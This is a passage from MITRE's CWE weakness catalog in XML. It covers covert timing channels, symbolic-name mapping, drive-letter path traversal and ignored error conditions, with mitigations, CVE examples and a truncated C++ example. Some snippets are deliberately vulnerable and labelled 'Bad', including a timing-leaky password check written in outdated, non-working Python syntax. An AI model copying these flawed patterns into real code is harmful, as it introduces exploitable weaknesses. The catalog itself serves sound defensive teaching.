            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="385" Name="Covert Timing Channel" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>Covert timing channels convey information by modulating some aspect of system behavior over time, so that the program receiving the information can observe system behavior and infer protected information.</Description>
         <Extended_Description>
            <xhtml:p>In some instances, knowing when data is transmitted between parties can provide a malicious user with privileged information. Also, externally monitoring the timing of operations can potentially reveal sensitive data. For example, a cryptographic operation can expose its internal state if the time it takes to perform the operation varies, based on the state.</xhtml:p>
            <xhtml:p>Covert channels are frequently classified as either storage or timing channels. Some examples of covert timing channels are the system's paging rate, the time a certain transaction requires to execute, and the time it takes to gain access to a shared bus.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="514" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Medium</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Other</Scope>
               <Impact>Read Application Data</Impact>
               <Impact>Other</Impact>
               <Note>Information exposure.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Whenever possible, specify implementation strategies that do not introduce time variances in operations.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Often one can artificially manipulate the time which operations take or -- when operations occur -- can remove information from the attacker.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>It is reasonable to add artificial or random delays so that the amount of CPU time consumed is independent of the action being taken by the application.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>In this example, the attacker observes how long an authentication takes when the user types in the correct password.</Intro_Text>
               <Body_Text>When the attacker tries their own values, they can first try strings of various length. When they find a string of the right length, the computation will take a bit longer, because the for loop will run at least once. Additionally, with this code, the attacker can possibly learn one character of the password at a time, because when they guess the first character right, the computation will take longer than a wrong guesses. Such an attack can break even the most sophisticated password with a few hundred guesses.</Body_Text>
               <Example_Code Nature="Bad" Language="Python">
                  <xhtml:div>def validate_password(actual_pw, typed_pw):<xhtml:div style="margin-left:1em;">
                        <xhtml:div>if len(actual_pw) &lt;&gt; len(typed_pw):<xhtml:div style="margin-left:1em;">return 0</xhtml:div>
                           <xhtml:br/>for i in len(actual_pw):<xhtml:div style="margin-left:1em;">if actual_pw[i] &lt;&gt; typed_pw[i]:<xhtml:div style="margin-left:1em;">return 0</xhtml:div>
                           </xhtml:div>
                           <xhtml:br/>return 1</xhtml:div>
                     </xhtml:div>
                  </xhtml:div>
               </Example_Code>
               <Body_Text>Note that, in this example, the actual password must be handled in constant time, as far as the attacker is concerned, even if the actual password is of an unusual length. This is one reason why it is good to use an algorithm that, among other things, stores a seeded cryptographic one-way hash of the password, then compare the hashes, which will always be of the same length.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="Landwehr">
               <Entry_Name>Timing</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Covert Timing Channel</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="462"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-18"/>
         </References>
	 <Notes>
           <Note Type="Maintenance">As of CWE 4.9, members of the CWE Hardware SIG are working to improve CWE's coverage of transient execution weaknesses, which include issues related to Spectre, Meltdown, and other attacks that create or exploit covert channels. As a result of that work, this entry might change in CWE 4.10.</Note>
	 </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>Landwehr</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="386" Name="Symbolic Name not Mapping to Correct Object" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>A constant symbolic reference to an object is used, even though the reference can resolve to a different object over time.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="706" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="367" View_ID="1000"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="610" View_ID="1000"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="486" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Note>The attacker can gain access to otherwise unauthorized resources.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Other</Scope>
               <Impact>Modify Application Data</Impact>
               <Impact>Modify Files or Directories</Impact>
               <Impact>Read Application Data</Impact>
               <Impact>Read Files or Directories</Impact>
               <Impact>Other</Impact>
               <Note>Race conditions such as this kind may be employed to gain read or write access to resources not normally readable or writable by the user in question.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Other</Scope>
               <Impact>Modify Application Data</Impact>
               <Impact>Other</Impact>
               <Note>The resource in question, or other resources (through the corrupted one) may be changed in undesirable ways by a malicious user.</Note>
            </Consequence>
            <Consequence>
               <Scope>Non-Repudiation</Scope>
               <Impact>Hide Activities</Impact>
               <Note>If a file or other resource is written in this method, as opposed to a valid way, logging of the activity may not occur.</Note>
            </Consequence>
            <Consequence>
               <Scope>Non-Repudiation</Scope>
               <Scope>Integrity</Scope>
               <Impact>Modify Files or Directories</Impact>
               <Note>In some cases it may be possible to delete files that a malicious user might not otherwise have access to -- such as log files.</Note>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Symbolic name not mapping to correct object</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-18"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="39" Name="Path Traversal: 'C:dirname'" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product accepts input that contains a drive letter or Windows volume letter ('C:dirname') that potentially redirects access to an unintended location or arbitrary file.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="36" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Note>The attacker may be able to create or overwrite critical files that are used to execute code, such as programs or libraries.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Modify Files or Directories</Impact>
               <Note>The attacker may be able to overwrite or create critical files, such as programs, libraries, or important data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, appending a new account at the end of a password file may allow an attacker to bypass authentication.</Note>
            </Consequence>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Files or Directories</Impact>
               <Note>The attacker may be able read the contents of unexpected files and expose sensitive data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, by reading a password file, the attacker could conduct brute force password guessing attacks in order to break into an account on the system.</Note>
            </Consequence>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Note>The attacker may be able to overwrite, delete, or corrupt unexpected critical files such as programs, libraries, or important data. This may prevent the software from working at all and in the case of a protection mechanisms such as authentication, it has the potential to lockout every user of the software.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-5.1">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
                  <xhtml:p>When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.</xhtml:p>
                  <xhtml:p>Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.</xhtml:p>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2001-0038</Reference>
               <Description>Remote attackers can read arbitrary files by specifying the drive letter in the requested URL.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0038</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0255</Reference>
               <Description>FTP server allows remote attackers to list arbitrary directories by using the "ls" command and including the drive letter name (e.g. C:) in the requested pathname.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0255</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0687</Reference>
               <Description>FTP server allows a remote attacker to retrieve privileged system information by specifying arbitrary paths.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0687</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0933</Reference>
               <Description>FTP server allows remote attackers to list the contents of arbitrary drives via a ls command that includes the drive letter as an argument.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0933</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0466</Reference>
               <Description>Server allows remote attackers to browse arbitrary directories via a full pathname in the arguments to certain dynamic pages.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0466</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1483</Reference>
               <Description>Remote attackers can read arbitrary files via an HTTP request whose argument is a filename of the form "C:" (Drive letter), "//absolute/path", or ".." .</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1483</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-2488</Reference>
               <Description>FTP server read/access arbitrary files using "C:\" filenames</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-2488</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>'C:dirname' or C: (Windows volume or 'drive letter')</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>FIO05-C</Entry_ID>
               <Entry_Name>Identify files using multiple file attributes</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP16</Entry_ID>
               <Entry_Name>Path Traversal</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Observed_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Path Issue - Drive Letter or Windows Volume - 'C:dirname'</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="390" Name="Detection of Error Condition Without Action" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product detects a specific error, but takes no actions to handle the error.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="755" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="401" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Medium</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Other</Scope>
               <Impact>Varies by Context</Impact>
               <Impact>Unexpected State</Impact>
               <Impact>Alter Execution Logic</Impact>
               <Note>An attacker could utilize an ignored error condition to place the system in an unexpected state that could lead to the execution of unintended logic and could cause other unintended behavior.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Properly handle each exception. This is the recommended solution. Ensure that all exceptions are handled in such a way that you can be sure of the state of your system at any given moment.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>If a function returns an error, it is important to either fix the problem and try again, alert the user that an error has happened and let the program continue, or alert the user and close and cleanup the program.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Testing</Phase>
               <Description>Subject the product to extensive testing to discover some of the possible instances of where/how errors or return values are not handled. Consider testing techniques such as ad hoc, equivalence partitioning, robustness and fault tolerance, mutation, and fuzzing.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following example attempts to allocate memory for a character. After the call to malloc, an if statement is used to check whether the malloc function failed.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>foo=malloc(sizeof(char)); //the next line checks to see if malloc failed<xhtml:br/>if (foo==NULL) {<xhtml:div style="margin-left:1em;">//We do nothing so we just ignore the error.</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The conditional successfully detects a NULL return value from malloc indicating a failure, however it does not do anything to handle the problem. Unhandled errors may have unexpected results and may cause the program to crash or terminate.</Body_Text>
               <Body_Text>Instead, the if block should contain statements that either attempt to fix the problem or notify the user that an error has occurred and continue processing or perform some cleanup and gracefully terminate the program. The following example notifies the user that the malloc function did not allocate the required memory resources and returns an error code.</Body_Text>
               <Example_Code Nature="Good" Language="C">
                  <xhtml:div>foo=malloc(sizeof(char)); //the next line checks to see if malloc failed<xhtml:br/>if (foo==NULL) {<xhtml:div style="margin-left:1em;">printf("Malloc failed to allocate memory resources");<xhtml:br/>return -1;</xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>In the following C++ example the method readFile() will read the file whose name is provided in the input parameter and will return the contents of the file in char string. The method calls open() and read() may result in errors if the file does not exist or does not contain any data to read. These errors will be thrown when the is_open() method and good() method indicate errors opening or reading the file. However, these errors are not handled within the catch statement. Catch statements that do not perform any processing will have unexpected results. In this case an empty char string will be returned, and the file will not be properly closed.</Intro_Text>
               <Example_Code Nature="Bad" Language="C++">
                  <xhtml:div>char* readfile (char *filename) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>try {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>// open input file<xhtml:br/>ifstream infile;<xhtml:br/>infile.open(filename);<xhtml:br/>
                                 <xhtml:br/>if (!infile.is_open()) {<xhtml:div style="margin-left:1em;">throw "Unable to open file " + filename;</xhtml:div>}<xhtml:br/>
                                 <xhtml:br/>// get length of file<xhtml:br/>infile.seekg (0, ios::end);<xhtml:br/>int length = infile.tellg();<xhtml:br/>infile.seekg (0, ios::beg);<xhtml:br/>
                                 <xhtml:br/>// allocate memory<xhtml:br/>char *buffer = new char [length];<xhtml:br/>
                                 <xhtml:br/>// read data from file<xhtml:br/>infile.read (buffer,length);<xhtml:br/>
                                 <xhtml:br/>if (!infile.good()) {<xhtml:div style="margin-left:1em;">throw "Unable to read from file " + filename;</xhtml:div>}<xhtml:br/>
                                 <xhtml:br/>infile.close();<xhtml:br/>
                                 <xhtml:br/>return buffer;</xhtml:div>
                           </xhtml:div>}<xhtml:br/>catch (...) {<xhtml:div style="margin-left:1em;">/* bug: insert code to handle this later */</xhtml:div>}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The catch statement should contain statements that either attempt to fix the problem or notify the user that an error has occurred and continue processing or perform some cleanup and gracefully terminate the program. The following C++ example contains two catch statements. The first of these will catch a specific error thrown within the try block, and the second catch statement will catch all other errors from within the catch block. Both catch statements will notify the user that an error has occurred, close the file, and rethrow to the block that called the readFile() method for further handling or possible termination of the program.</Body_Text>
               <Example_Code Nature="Good" Language="C++">
                  <xhtml:div>char* readFile (char *filename) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>try {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>// open input file<xhtml:br/>ifstream infile;<xhtml:br/>infile.open(filename);<xhtml:br/>
